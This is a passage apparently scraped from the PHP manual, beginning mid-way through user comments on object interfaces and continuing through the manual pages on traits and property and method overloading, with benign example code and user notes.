   public function makePolicy()
   {
    }
   public function declareEmergency()
  {
  }
}

}

?>

NB: forgive me for errors syntax. I in the middle of doing Java.

You have noticed that relevant behavious have been added to the relevant objects..
rskret at ranphilit dot com 02-Jun-2009 02:47
This may help understand EX.2. Below are modifiers and additions to
the code. Refer to EX.2 to make a complete code block(this saves comment
space!).
I found the function definition baz(Baz $baz) baffling. Lucky was
able to sus it out fast. Seems method baz requires just one arg and
that must be an instance of the class Baz. Here is a way to know how to
deal with that sort of arg...
<?php
# modify iface b...adding $num to get better understanding
interface b extends a
{
    public function baz(Baz $baz,$num);
}
# mod claas c
class c implements b
{
    public function foo()
    {
        echo'foo from class c';
    }
    public function baz(Baz $baz,$num)
    {
        var_dump ($baz);# object(Baz)#2 (1) { ["bb"]=>  string(3) "hot" }
        echo '<br>';
        echo $baz->bb." $num";echo '<br>';# hot 6
    }
}
# add a class Baz...
class Baz
{
    public $bb='hot';
    function ebaz(){
        echo'this is BAZ';
    }
}
# set instance of Baz and get some output...
$bazI=new Baz;
baz::ebaz();echo '<br>';# this is BAZ
c::baz($bazI,6);
?>
cretz 21-Sep-2008 03:49
FYI, interfaces can define constructors, destructors, and magic methods. This can be very helpful especially in the case of constructors when instantiating an implementing class via reflection in some sort of factory. Of course, it is not recommended to do such a thing since it goes against the nature of a true interface.
lazybones_senior 15-Sep-2008 10:41
WHOA! KEEP IT SIMPLE...

With the code below, you already get a feel at how much ground this app might cover.

<?php

interface ElectricalDevice{
  public function power_on();
  public function power_off();
}

interface FrequencyTuner{
  public function get_frequencey();
  public function set_frequency($f);
}

class ElectricFan implements ElectricalDevice{
  // define ElectricalDevice...
}

class MicrowaveOven implements ElectricalDevice{
  // define ElectricalDevice...
}

class StereoReceiver implements ElectricalDevice, FrequencyTuner{
  // define ElectricalDevice...
  // define FrequencyTuner...
}

class CellPhone implements ElectricalDevice, FrequencyTuner{
  // define ElectricalDevice...
  // define FrequencyTuner...
}

?>

Even those who lack imagination can fill in the blanks from here.
secure_admin 14-Sep-2008 02:28
In response to harryjry and mehea concerning your Weather Model. The problem is that you don't need all the things you think you need. In OOP, good class definitions get to the point rather quickly.

<?php
class Weather{
  public $time, $temperature, $humidity;

  public function __construct($tm, $t, $h){
    $this->time = $tm;
    $this->temperature = $t;
    $this->humidity = $h;
  }

  public function __toString(){
    return "Time: $this->time,
      Temperature: $this->temperature&deg;,
      Humidity: $this->humidity%";
  }
}

$forecasts = array(
  new Weather("1:00 pm", 65, 42),
  new Weather("2:00 pm", 66, 40),
  new Weather("3:00 pm", 68, 39)
  // add more weather reports as desired...
);
echo "Forecast for Chicago, IL:<br>";
foreach($forecasts as $forecast) echo ' - ' . $forecast '<br>';
?>
Forecast for Chicago, IL:
- Time: 1:00 pm, Temperature: 65°, Humidity: 42%
- Time: 2:00 pm, Temperature: 66°, Humidity: 40%
- Time: 3:00 pm, Temperature: 68°, Humidity: 39%

Note: MySQL can store data like this already, but if you included constants, more variables, and other functions in the Weather class, then maybe, just maybe it could be of use.
mehea 30-Jul-2008 11:55
While a subclass may implement an interface by extending an abstract class that implements the interface, I question whether it is good design to to do so.  Here's what I would suggest while taking the liberty of modifying the above weather/wet model:

<?php
interface water
{
    public function makeItWet();
}

/**
   * abstract class implements water but defines makeItWet
   * in the most general way to allow child class to
   * provide specificity
**/
abstract class weather implements water
{
   private $cloudy;
   public function makeItWet(){}
   abstract public function start();
   abstract public function getCloudy();
   abstract public function setCloudy();
}

class rain extends weather                            {
    private $cloudy;
    public function start() {
        return "Here's some weather. ";
    }

    public function makeItWet() {
        return 'it is raining cats and dogs today.';
    }
    public function getCloudy() {
        return $this->cloudy;
    }
    public function setCloudy($bln=false) {
        $this->cloudy = $bln;
    }
}

$a = new rain();
echo $a->start();
$a->setCloudy(true);
if ($a->getCloudy()) {
    echo 'It is a cloudy day and ';
}
echo $a->makeItWet();

?>
logik at centrum dot cz 17-Jul-2008 02:17
Makes them useles a bit. I give an example:
I have a class that enumerate (so implements iterator) a interface that has method key() that returns key for the enumerated object.
I cannot implement iterator, that enumerates the objects by itself (so current() returns this), because of collision of method key(). But it's not collision - the key in the iterator and the key in the enumerated object has the same meaning and allways returns same values.
(Common example of this iterator is iterator, that reads from database - make a special object for each row is waste of time).

Yes - there are workarounds - e.g. rewrite the code so current don't return this - but it's in some cases waste of processor time.
Or I can rename the method key in enumerated object - but why should I wrote the same method twice? It's either waste of time (if the function key is simply duplicated) or waste of time (if the renamed key calls original key).
Well, the right, clear way there would be to redefine interface iterator -- move the method key to the ancestor of iterator, and makes the ancestor ancestor of enumerated interface too. But it's (with built-in interfaces) impossible too.
harryjry at yahoo dot com 10-Jun-2008 02:29
The structure I am working with has a lot of inheritance going on, but not all methods are specified in one place. I needed a way to make sure an interface would be used, but that the method(s) defined in the interface are defined somewhere.

As such, I learned that the parent can define the interface's methods, and then the children can override that method at will without having to worry about the interface.

To expand on nrg1981's example, the following is possible:

<?php
interface water
{
    public function makeItWet();
}

class weather
{
    public function makeItWet()
    {
        return 'it may or may not be wet';
    }

    public function start()
    {
        return 'Here is some weather';
    }
}

class rain extends weather implements water
{
    public function makeItWet()
    {
        return 'It is wet';
    }
}

class thunder extends weather implements water
{

}

$a = new rain();
echo $a->start() . "\n";
echo $a->makeItWet() . "\n";

$a = new thunder();
echo $a->start() . "\n";
echo $a->makeItWet() . "\n";

?>
kaisershahid at gmail dot com 07-Apr-2008 05:41
php at wallbash dot com's comment of "It's important to note this because it is very unexpected behavior and renders many common Interface completly useless" doesn't make sense.

the idea of the interface is to force objects that aren't related to be reused in a common way. without them, to force that requirement, all objects that need those methods implemented would have to be descended from a base class that's known to have those methods. that's clearly not a smart idea if these objects aren't actually related.

one example (that i'm currently working on) is a background service that pulls information down from different content providers. i have a transport and i have an import. for both, what actually happens in the background is different from provider to provider, but since i'm implementing a transport & import interface, i only need to write code once, because i know exactly the what methods will be implemented to get the job done. then, i just have a config file that loads the class dynamically. i don't need something like

if ( $provider == "some company" )
{
   // use this set of code
}
elseif ( $provider == "another company" )
{
   // use this other set of code
}

instead, i can do:

foreach ( $providers as $provider => $info )
{
    $_transport = $info['transportObject'];
    $transport = new $_transport();
    $_import = $info['importObject'];
    $import = new $_import();

    $transport->setImporter( $import );
    $transport->retrieve();
}

it is expected behavior that when a class implements two interfaces that share one or more method names, an error is thrown, because interfaces don't relate to each other. if you want that sort of inferred behavior (i.e. A and B are different except for these shared methods), stick to [abstract] classes.

it sucks that interface methods might collide for some common types of tasks (get(), set(), etc.), so knowing that, design your interfaces with more unique method names.
michael dot martinek at gmail dot com 03-Jan-2008 08:18
In regards to what Hayley Watson is writing:

The "interface" is a method of enforcing that anyone who implements it must include all the functions declared in the interface. This is an abstraction method, since you cannot just declare a base class and do something like "public abstract function myTest();" and later on extend that class.

If you don't override the default value in a parameter list, it's assumed that the default value was received by time you have any control to read or relay the value on again. There should be no problem in having all or none of your parameters in an interface having a default value, as the value is "auto-filled" if not explicitly provided.

I just came across interfaces in PHP.. but I use them quite a bit in Java and Delphi. Currently building different DB wrappers, but all must enforce common access using a base class.. and also enforce that all of specific routines are implemented.
Docey 11-Nov-2007 03:23
Another note about default values in interfaces is that an class must implement at least the arguments as in the interface. that is: an implementation may have more arguments but not less if these additional arguments have an default value and thus can be called as declared in the interface.

an litte example:
<?php
interface myInterface{
  public function setStuff($id, $name);
}

class MyFirstClass implements myInterface{
  public function setStuff($id, $name);
}

class MySecondClass implements myInterface{
 public function setStuff($id, $name, $type);
}

class myThirdClass implements myInterface{
 public function setStuff($id, $name, $type=0);
}
?>

Here mySecondClass will print an fatal error while myThirdClass is just fine because myThirdClass::setStuff($id, $name); is valid and thus fullfills the interface requirements. an interface declares as set of requirement on how methods can be called and any class implementing an interface thus agrees that is will provide these methods and that they can be called as in the interface. adding additional arguments with default values is thus allowed because it does not violate the agreement that the method can be called as in the interface.
nrg1981 {AT} hotmail {DOT} com 05-Oct-2007 06:48
In case you would want to, a child class can implement an interface:

<?php

interface water
{
    public function makeItWet();
}

class weather
{
    public function start()
    {
        return 'Here is some weather';
    }
}

class rain extends weather implements water
{
    public function makeItWet()
    {
        return 'It is wet';
    }
}

$a = new rain();
echo $a->start();
echo $a->makeItWet();

?>
Hayley Watson 21-Sep-2007 03:42
If it's not already obvious, it's worth noticing that the parameters in the interface's method declaration do not have to have the same names as those in any of its implementations.

More significantly, default argument values may be supplied for interface method parameters, and they have to be if you want to use default argument values in the implemented classes:

<?php
interface isStuffable
{
    public function getStuffed($ratio=0.5);
}

class Turkey implements isStuffable
{
    public function getStuffed($stuffing=1)
    {
        // ....
    }
}
?>

Note that not only do the parameters have different names ($ratio and $stuffing), but their default values are free to be different as well. There doesn't seem to be any purpose to the interface's default argument value except as a dummy placeholder to show that there is a default (a class implementing isStuffable will not be able to implement methods with the signatures getStuffed(), getStuffed($a), or getStuffed($a,$b)).
Hayley Watson 20-Sep-2007 10:34
On an incidental note, it is not necessary for the implementation of an interface method to use the same variable names for its parameters that were used in the interface declaration.

More significantly, your interface method declarations can include default argument values. If you do, you must specify their implementations with default arguments, too. Just like the parameter names, the default argument values do not need to be the same. In fact, there doesn't seem to be any functionality to the one in the interface declaration at all beyond the fact that it is there.

<?php
interface isStuffed {
    public function getStuff($something=17);
}

class oof implements isStuffed {
    public function getStuff($a=42) {
        return $a;
    }
}

$oof = new oof;

echo $oof->getStuff();
?>

Implementations that try to declare the method as getStuff(), getStuff($a), or getStuff($a,$b) will all trigger a fatal error.
php at wallbash dot com 05-Sep-2007 07:39
Please note that the sentence "Note: A class cannot implement two interfaces that share function names, since it would cause ambiguity." _really_ means that it is not possible to do something like:

<?php

interface IA {
    public function a();
}

interface IB {
    public function a();
}

class Test implements IA, IB {
    public  function a() {
        echo "a";
    }
}
$o = new Test();
$o->a();
?>

lead to:
PHP Fatal error:  Can't inherit abstract function IB::a() (previously declared abstract in IA)

It's important to note this because it is very unexpected behavior and renders many common Interface completly useless.
zedd at fadingtwilight dot net 04-Jul-2007 09:42
Regarding my previous note (04-Jul-2007 9:01):

I noticed a minor but critical mistake in my explanation. After the link to the PHP manual page on class abstraction, I stated:

"So by definition, you may only overload non-abstract methods."

This is incorrect. This should read:

"So by definition, you may only override non-abstract methods."

Sorry for any confusion.
zedd at fadingtwilight dot net 04-Jul-2007 09:01
prometheus at php-sparcle:

Your code fails because you're effectively trying to do this:

<?php
    abstract class IFoo
    {
        abstract public function Foo();
    }

    abstract class IBar extends IFoo
    {
        // Fails; abstract method IFoo::Foo() must be defined in child and must match parent's definition
        abstract public function Foo($bar);
    }
?>

By definition, all methods in an interface are abstract. So the above code segment is equivalent to your interface definitions and results in the same error. Why? Let's have a look at the PHP manual. From the second paragraph on class abstraction:

"When inheriting from an abstract class, all methods marked abstract in the parent's class declaration must be defined by the child;"

http://www.php.net/manual/en/language.oop5.abstract.php

So by definition, you may only overload non-abstract methods.

For example:

<?php
    abstract class IFoo
    {
        public function Foo()
        {
            // do something...
        }
    }

    abstract class IBar extends IFoo
    {
        public function Foo($bar)
        {
            // do something else...
        }
    }
?>

This can't be directly replicated with interfaces since you can't implement methods inside of an interface. They can only be implemented in a class or an abstract class.

If you must use interfaces, the following accomplishes the same thing, but with two separate method names:

<?php
    interface IFoo
    {
        public function Foo();
    }

    interface IBar extends IFoo
    {
        public function Bar($bar);
    }

    class FooBar implements IBar
    {
        public function Foo()
        {
            // do something...
        }

        public function Bar($bar)
        {
            // do something else...
        }
    }
?>

If both methods need the same name, then you'll have to use non-abstract methods. In this case, interfaces aren't the right tool for the job. You'll want to use abstract classes (or just regular classes).
Maikel 12-Jan-2007 03:07
if you want to implement an interface and in addition to use inheritance, first it uses “extends” and then “implements” example:

<?php
class MyChildClass extends MyParentClass implements MyInterface
{
   // definition
}
?>
Chris AT w3style DOT co.uk 07-Dec-2006 05:25
Note that you can extend interfaces with other interfaces since under-the-hood they are just abstract classes:

<?php

interface Foo {
    public function doFoo();
}

interface Bar extends Foo {
    public function doBar();
}

class Zip implements Bar {
    public function doFoo() {
        echo "Foo";
    }
    public function doBar() {
        echo "Bar";
    }
}

$zip = new Zip();
$zip->doFoo();
$zip->doBar();

?>

This is quite useful when you're using interfaces for identity more than the rigidity it places upon an API.  You can get the same result by implementing multiple interfaces.

An example of where I've used this in the past is with EventListener objects ala Java's Swing UI.  Some listeners are effectively the same thing but happen at different times therefore we can keep the same API but change the naming for clarity.
marasek AT telton POINT de 06-Sep-2006 06:01
What is not mentioned in the manual is that you can use "self" to force object hinting on a method of the implementing class:

Consider the following interface:
<?php
interface Comparable
{function compare(self $compare);}
?>

Which is then implemented:

<?php

class String implements Comparable
{
    private $string;
    function __construct($string)
    {$this->string = $string;}
    function compare(self $compare)
    {return $this->string == $compare->string;}
}

class Integer implements Comparable
{
    private $integer;
    function __construct($int)
    {$this->integer = $int;}
    function compare(self $compare)
    {return $this->integer == $compare->integer;}
}

?>

Comparing Integer with String will result in a fatal error, as it is not an instance of the same class:

<?php
$first_int = new Integer(3);
$second_int = new Integer(3);
$first_string = new String("foo");
$second_string = new String("bar");

var_dump($first_int->compare($second_int)); // bool(true)
var_dump($first_string->compare($second_string)); // bool(false)
var_dump($first_string->compare($second_int)); // Fatal Error
?>
vbolshov at rbc dot ru 10-Aug-2006 02:34
Consider the following:
[vbolshov@localhost tmp]$ cat t.php
<?php

error_reporting(E_ALL | E_STRICT);

interface i {
        function f($arg);
}
class c implements i {
        function f($arg, $arg2 = null)
        {
        }
}
?>
[vbolshov@localhost tmp]$ php t.php
[vbolshov@localhost tmp]$

PHP doesn't generate a Fatal Error in this case, although the method declaration in the class differs from that in the interface. This situation doesn't seem good to me: I'd prefer classes being strictly bound to their interfaces.
spiritus.canis at gmail dot com 25-Oct-2005 10:45
Regarding the example by cyrille.berliat:

This is not a problem and is consistent with other languages.  You'd just want to use inheritance like so:

<?php

class AbstractClass {
   public function __ToString ( ) { return 'Here I am'; }
}

class DescendantClass extends AbstractClass {}

interface MyInterface {
   public function Hello ( AbstractClass $obj );
}

class MyClassOne implements MyInterface {

   public function Hello ( AbstractClass $obj ) {
       echo $obj;
   }
} // Will work as Interface Satisfied

$myDC = new DescendantClass() ;
MyClassOne::Hello( $myDC ) ;

?>
cyrille.berliat[no spam]free.fr 17-Oct-2005 02:29
Interfaces and Type Hinting can be used but not with Inherintance in the same time :

<?

class AbstractClass
{
    public function __ToString ( ) { return 'Here I\'m I'; }
}

class DescendantClass extends AbstractClass
{

}

interface MyI
{
    public function Hello ( AbstractClass $obj );
}

class MyClassOne implements MyI
{
    public function Hello ( AbstractClass $obj )
    {
        echo $obj;
    }
} // Will work as Interface Satisfied

class MyClassTwo implements MyI
{
    public function Hello ( DescendantClass $obj )
    {
        echo $obj;
    }
} // Will output a fatal error because Interfaces don't support Inherintance in TypeHinting

//Fatal error: Declaration of MyClassTwo::hello() must be compatible with that of MyI::hello()

?>

Something a little bit bad in PHP 5.0.4 :)
darealremco at msn dot com 02-Oct-2005 12:53
To two notes below: There is one situation where classes and interfaces can be used interchangeably. In function definitions you can define parameter types to be classes or interfaces. If this was not so then there would not be much use for interfaces at all.
warhog at warhog dot net 11-Aug-2005 08:35
on the post below:

An interface is in fact the same like an abstract class containing abstract methods, that's why interfaces share the same namespace as classes and why therefore "real" classes cannot have the same name as interfaces.
marcus at synchromedia dot co dot uk 28-Jul-2005 04:11
Classes and interface names share a common name space, so you can't have a class and an interface with the same name, even though the two can never be used ambiguously (i.e. there are no circumstances in which a class and an interface can be used interchangeably). e.g. this will not work:

interface foo {
public function bling();
}

class foo implements foo {
public function bling() {
}
}

You will get a 'Cannot redeclare class' error, even though it's only been declared as a class once.
tobias_demuth at web dot de 04-May-2005 02:21
The statement, that you have to implement _all_ methods of an interface has not to be taken that seriously, at least if you declare an abstract class and want to force the inheriting subclasses to implement the interface.
Just leave out all methods that should be implemented by the subclasses. But never write something like this:

<?php

interface Foo {

      function bar();

}

abstract class FooBar implements Foo {

       abstract function bar(); // just for making clear, that this
                                 // method has to be implemented

}

?>

This will end up with the following error-message:

Fatal error: Can't inherit abstract function Foo::bar() (previously declared abstract in FooBar) in path/to/file on line anylinenumber
erik dot zoltan at msn dot com 25-Feb-2005 10:43
When should you use interfaces?  What are they good for?
Here are two examples.

1. Interfaces are an excellent way to implement reusability.
You can create a general interface for a number of situations
(such as a save to/load from disk interface.)  You can then
implement the interface in a variety of different ways (e.g. for
formats such as tab delimited ASCII, XML and a database.)
You can write code that asks the object to "save itself to
disk" without having to worry what that means for the object
in question.  One object might save itself to the database,
another to an XML and you can change this behavior over
time without having to rewrite the calling code.

This allows you to write reusable calling code that can work
for any number of different objects -- you don't need to know
what kind of object it is, as long as it obeys the common
interface.

2. Interfaces can also promote gradual evolution.  On a
recent project I had some very complicated work to do and I
didn't know how to implement it.  I could think of a "basic"
implementation but I knew I would have to change it later.
So I created interfaces in each of these cases, and created
at least one "basic" implementation of the interface that
was "good enough for now" even though I knew it would have
to change later.

When I came back to make the changes, I was able to create
some new implementations of these interfaces that added the
extra features I needed.  Some of my classes still used
the "basic" implementations, but others needed the
specialized ones.  I was able to add the new features to the
objects themselves without rewriting the calling code in most
cases.  It was easy to evolve my code in this way because
the changes were mostly isolated -- they didn't spread all
over the place like you might expect.
mat.wilmots (at) wanadoo (dot) fr 20-Jan-2005 06:22
interfaces support multiple inheritance

<?php

interface SQL_Result extends SeekableIterator, Countable
{
    // new stuff
}

abstract class SQL_Result_Common
{
    // just because that's what one would do in reality, generic implementation
}

class SQL_Result_mysql extends SQL_Result_Common implements SQL_Result
{
   // actual implementation
}

?>

This code raises a fatal error because SQL_Result_mysql doesn't implement the abstract methods of SeekableIterator (6) + Countable (1)
russ dot collier at gmail dot com 28-Nov-2004 10:24
You can also specify class constants in interfaces as well (similar to specifying 'public static final' fields in Java interfaces):

<?php

interface FooBar
{

    const SOME_CONSTANT = 'I am an interface constant';

    public function doStuff();

}

?>

Then you can access the constant by referring to the interface name, or an implementing class, (again similar to Java) e.g.:

<?php

class Baz implements FooBar
{

    //....

}

print Baz::SOME_CONSTANT;
print FooBar::SOME_CONSTANT;

?>

Both of the last print statements will output the same thing: the value of FooBar::SOME_CONSTANT
Class Abstraction
Traits
Classes and Objects


Traits

As of PHP 5.4.0, PHP implements a method of code reuse called Traits.

Traits is a mechanism for code reuse in single inheritance languages such as PHP. A Trait is intended to reduce some limitations of single inheritance by enabling a developer to reuse sets of methods freely in several independent classes living in different class hierarchies. The semantics of the combination of Traits and classes is defined in a way which reduces complexity, and avoids the typical problems associated with multiple inheritance and Mixins.

A Trait is similar to a class, but only intended to group functionality in a fine-grained and consistent way. It is not possible to instantiate a Trait on its own. It is an addition to traditional inheritance and enables horizontal composition of behavior; that is, the application of class members without requiring inheritance.

Example #1 Trait example

<?php
trait ezcReflectionReturnInfo {
    function getReturnType() { /*1*/ }
    function getReturnDescription() { /*2*/ }
}

class ezcReflectionMethod extends ReflectionMethod {
    use ezcReflectionReturnInfo;
    /* ... */
}

class ezcReflectionFunction extends ReflectionFunction {
    use ezcReflectionReturnInfo;
    /* ... */
}
?>

Precedence

An inherited member from a base class is overridden by a member inserted by a Trait. The precedence order is that members from the current class override Trait methods, which in return override inherited methods.

Example #2 Precedence Order Example

An inherited method from a base class is overridden by the method inserted into MyHelloWorld from the SayWorld Trait. The behavior is the same for methods defined in the MyHelloWorld class. The precedence order is that methods from the current class override Trait methods, which in turn override methods from the base class.

<?php
class Base {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait SayWorld {
    public function sayHello() {
        parent::sayHello();
        echo 'World!';
    }
}

class MyHelloWorld extends Base {
    use SayWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
?>

The above example will output:

Hello World!

Example #3 Alternate Precedence Order Example

<?php
trait HelloWorld {
    public function sayHello() {
        echo 'Hello World!';
    }
}

class TheWorldIsNotEnough {
    use HelloWorld;
    public function sayHello() {
        echo 'Hello Universe!';
    }
}

$o = new TheWorldIsNotEnough();
$o->sayHello();
?>

The above example will output:

Hello Universe!

Multiple Traits

Multiple Traits can be inserted into a class by listing them in the use statement, separated by commas.

Example #4 Multiple Traits Usage

<?php
trait Hello {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait World {
    public function sayWorld() {
        echo ' World';
    }
}

class MyHelloWorld {
    use Hello, World;
    public function sayExclamationMark() {
        echo '!';
    }
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();>
?>

The above example will output:

Hello World!

Conflict Resolution

If two Traits insert a method with the same name, a fatal error is produced, if the conflict is not explicitly resolved.

To resolve naming conflicts between Traits used in the same class, the insteadof operator needs to be used to chose exactly one of the conflicting methods.

Since this only allows one to exclude methods, the as operator can be used to allow the inclusion of one of the conflicting methods under another name.

Example #5 Conflict Resolution

In this example, Talker uses the traits A and B. Since A and B have conflicting methods, it defines to use the variant of smallTalk from trait B, and the variant of bigTalk from trait A.

The Aliased_Talker makes use of the as operator to be able to use B's bigTalk implementation under an additional alias talk.

<?php
trait A {
    public function smallTalk() {
        echo 'a';
    }
    public function bigTalk() {
        echo 'A';
    }
}

trait B {
    public function smallTalk() {
        echo 'b';
    }
    public function bigTalk() {
        echo 'B';
    }
}

class Talker {
    use A, B {
        B::smallTalk insteadof A;
        A::bigTalk insteadof B;
    }
}

class Aliased_Talker {
    use A, B {
        B::smallTalk insteadof A;
        A::bigTalk insteadof B;
        B::bigTalk as talk;
    }
}
?>

Changing Method Visibility

Using the as syntax, one can also adjust the visibility of the method in the exhibiting class.

Example #6 Changing Method Visibility

<?php
trait HelloWorld {
    public function sayHello() {
        echo 'Hello World!';
    }
}

// Change visibility of sayHello
class MyClass1 {
    use HelloWorld { sayHello as protected; }
}

// Alias method with changed visibility
// sayHello visibility not changed
class MyClass2 {
    use HelloWorld { sayHello as private myPrivateHello; }
}
?>

Traits Composed from Traits

Just as classes can make use of traits, so can other traits. By using one or more traits in a trait definition, it can be composed partially or entirely of the members defined in those other traits.

Example #7 Traits Composed from Traits

<?php
trait Hello {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait World {
    public function sayWorld() {
        echo 'World!';
    }
}

trait HelloWorld {
    use Hello, World;
}

class MyHelloWorld {
    use HelloWorld;
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
?>

The above example will output:

Hello World!

Abstract Trait Members

Traits support the use of abstract methods in order to impose requirements upon the exhibiting class.

Example #8 Express Requirements by Abstract Methods

<?php
trait Hello {
    public function sayHelloWorld() {
        echo 'Hello'.$this->getWorld();
    }
    abstract public function getWorld();
}

class MyHelloWorld {
    private $world;
    use Hello;
    public function getWorld() {
        return $this->world;
    }
    public function setWorld($val) {
        $this->world = $val;
    }
}
?>

Static Trait Members

Static variables can be referred to in trait methods, but cannot be defined by the trait. Traits can, however, define static methods for the exhibiting class.

Example #9 Static Variables

<?php
trait Counter {
    public function inc() {
        static $c = 0;
        $c = $c + 1;
        echo "$c\n";
    }
}

class C1 {
    use Counter;
}

class C2 {
    use Counter;
}

$o = new C1(); $o->inc(); // echo 1
$p = new C2(); $p->inc(); // echo 1
?>

Example #10 Static Methods

<?php
trait StaticExample {
    public static function doSomething() {
        return 'Doing something';
    }
}

class Example {
    use StaticExample;
}

Example::doSomething();
?>

Properties

Traits can also define properties.

Example #11 Defining Properties

<?php
trait PropertiesTrait {
    public $x = 1;
}

class PropertiesExample {
    use PropertiesTrait;
}

$example = new PropertiesExample;
$example->x;
?>

If a trait defines a property then a class can not define a property with the same name, otherwise an error is issued. It is an E_STRICT if the class definition is compatible (same visibility and initial value) or fatal error otherwise.

Example #12 Conflict Resolution

<?php
trait PropertiesTrait {
    public $same = true;
    public $different = false;
}

class PropertiesExample {
    use PropertiesTrait;
    public $same = true; // Strict Standards
    public $different = true; // Fatal error
}
?>

User Contributed Notes

chris dot rutledge at gmail dot com 21-Dec-2011 12:42
It may be worth noting here that the magic constant __CLASS__ becomes even more magical - __CLASS__ will return the name of the class in which the trait is being used.

for example

<?php
trait sayWhere {
    public function whereAmI() {
        echo __CLASS__;
    }
}

class Hello {
    use sayWHere;
}

class World {
    use sayWHere;
}

$a = new Hello;
$a->whereAmI(); //Hello

$b = new World;
$b->whereAmI(); //World
?>

The magic constant __TRAIT__ will giev you the name of the trait
Object Interfaces
Overloading
Classes and Objects


Overloading

Overloading in PHP provides means to dynamically "create" properties and methods. These dynamic entities are processed via magic methods one can establish in a class for various action types.

The overloading methods are invoked when interacting with properties or methods that have not been declared or are not visible in the current scope. The rest of this section will use the terms "inaccessible properties" and "inaccessible methods" to refer to this combination of declaration and visibility.

All overloading methods must be defined as public.

Note:

None of the arguments of these magic methods can be passed by reference.

Note:

PHP's interpretation of "overloading" is different than most object oriented languages. Overloading traditionally provides the ability to have multiple methods with the same name but different quantities and types of arguments.

Changelog

Version | Description
5.3.0 | Added __callStatic(). Added warning to enforce public visibility and non-static declaration.
5.1.0 | Added __isset() and __unset().

Property overloading

public void __set ( string $name , mixed $value )
public mixed __get ( string $name )
public bool __isset ( string $name )
public void __unset ( string $name )

__set() is run when writing data to inaccessible properties.

__get() is utilized for reading data from inaccessible properties.

__isset() is triggered by calling isset() or empty() on inaccessible properties.

__unset() is invoked when unset() is used on inaccessible properties.

The $name argument is the name of the property being interacted with. The __set() method's $value argument specifies the value the $name'ed property should be set to.

Property overloading only works in object context. These magic methods will not be triggered in static context. Therefore these methods should not be declared static. As of PHP 5.3.0, a warning is issued if one of the magic overloading methods is declared static.

Note:

The return value of __set() is ignored because of the way PHP processes the assignment operator. Similarly, __get() is never called when chaining assignments together like this:

 $a = $obj->b = 8;

Note:

It is not possible to use overloaded properties in other language constructs than isset(). This means if empty() is called on an overloaded property, the overloaded method is not called.

To workaround that limitation, the overloaded property must be copied into a local variable in the scope and then be handed to empty().

Example #1
     Overloading properties via the __get(),
     __set(), __isset()
     and __unset() methods

<?php
class PropertyTest
{
    /**  Location for overloaded data.  */
    private $data = array();

    /**  Overloading not used on declared properties.  */
    public $declared = 1;

    /**  Overloading only used on this when accessed outside the class.  */
    private $hidden = 2;

    public function __set($name, $value)
    {
        echo "Setting '$name' to '$value'\n";
        $this->data[$name] = $value;
    }

    public function __get($name)
    {
        echo "Getting '$name'\n";
        if (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        }

        $trace = debug_backtrace();
        trigger_error(
            'Undefined property via __get(): ' . $name .
            ' in ' . $trace[0]['file'] .
            ' on line ' . $trace[0]['line'],
            E_USER_NOTICE);
        return null;
    }

    /**  As of PHP 5.1.0  */
    public function __isset($name)
    {
        echo "Is '$name' set?\n";
        return isset($this->data[$name]);
    }

    /**  As of PHP 5.1.0  */
    public function __unset($name)
    {
        echo "Unsetting '$name'\n";
        unset($this->data[$name]);
    }

    /**  Not a magic method, just here for example.  */
    public function getHidden()
    {
        return $this->hidden;
    }
}

echo "<pre>\n";

$obj = new PropertyTest;

$obj->a = 1;
echo $obj->a . "\n\n";

var_dump(isset($obj->a));
unset($obj->a);
var_dump(isset($obj->a));
echo "\n";

echo $obj->declared . "\n\n";

echo "Let's experiment with the private property named 'hidden':\n";
echo "Privates are visible inside the class, so __get() not used...\n";
echo $obj->getHidden() . "\n";
echo "Privates not visible outside of class, so __get() is used...\n";
echo $obj->hidden . "\n";
?>

The above example will output:

Setting 'a' to '1'
Getting 'a'
1

Is 'a' set?
bool(true)
Unsetting 'a'
Is 'a' set?
bool(false)

1

Let's experiment with the private property named 'hidden':
Privates are visible inside the class, so __get() not used...
2
Privates not visible outside of class, so __get() is used...
Getting 'hidden'

Notice:  Undefined property via __get(): hidden in <file> on line 70 in <file> on line 29

Method overloading

public mixed __call ( string $name , array $arguments )
public static mixed __callStatic ( string $name , array $arguments )

__call() is triggered when invoking inaccessible methods in an object context.

__callStatic() is triggered when invoking inaccessible methods in a static context.

The $name argument is the name of the method being called. The $arguments argument is an enumerated array containing the parameters passed to the $name'ed method.

Example #2 Overloading methods via the __call() and __callStatic() methods

<?php
class MethodTest
{
    public function __call($name, $arguments)
    {
        // Note: value of $name is case sensitive.
        echo "Calling object method '$name' "
             . implode(', ', $arguments). "\n";
    }

    /**  As of PHP 5.3.0  */
    public static function __callStatic($name, $arguments)
    {
        // Note: value of $name is case sensitive.
        echo "Calling static method '$name' "
             . implode(', ', $arguments). "\n";
    }
}

$obj = new MethodTest;
$obj->runTest('in object context');

MethodTest::runTest('in static context');  // As of PHP 5.3.0
?>

The above example will output:

Calling object method 'runTest' in object context
Calling static method 'runTest' in static context

User Contributed Notes

Voitcus at wp dot pl 02-Nov-2011 12:57
If a class is being extended by another class, its __get and __set methods (and others) can also be overloaded themselves:

<?php
class A {
  public function __get($value){
    switch($value){
      case "a1": return 1; break;
      case "a2": return 2; break;
    default: // error handler goes here
      return "number out of range"; // or NULL or anything else
       }
     } // end of method __get
   } // end of class A

class B extends A {
  public function __get($value){
     switch($value){
       case "a1": return 11; break; // we overload value of 1
       case "b3": return 3; break; // we add these new properties
       case "b4": return 4; break;
     default: // check ancestor's properties
       return parent::__get($value);
       }
     } // end of method __get
   } //end of class B

$a=new A();
$b=new B();

echo $a->a1; // produces 1
echo $a->a2; // produces 2
echo $a->b3; // produces number out of range

echo $b->a1; // produces 11
echo $b->a2; // produces 2
echo $b->b3; // produces 3
echo $b->b4; // produces 4
echo $b->b5; // produces number out of range
?>

If class B's default switch option is reached, the class A's getter is called. So the extending class B overloads property "a1", adds its own properties "b3" and "b4", and inherits property "a2". This solution can't, however, overload class A's error handler (the line with "number out of range").
Should it be needed, consider the following error handler of the class B:

<?php
     default: // error handler goes here
       $p=parent::__get($value);
       if(!is_numeric($p)){
          return "no value"; // overload class A's error message
          }
       else{
           return $p; // return class A's base properties
           }
?>
So we have new "error handler"
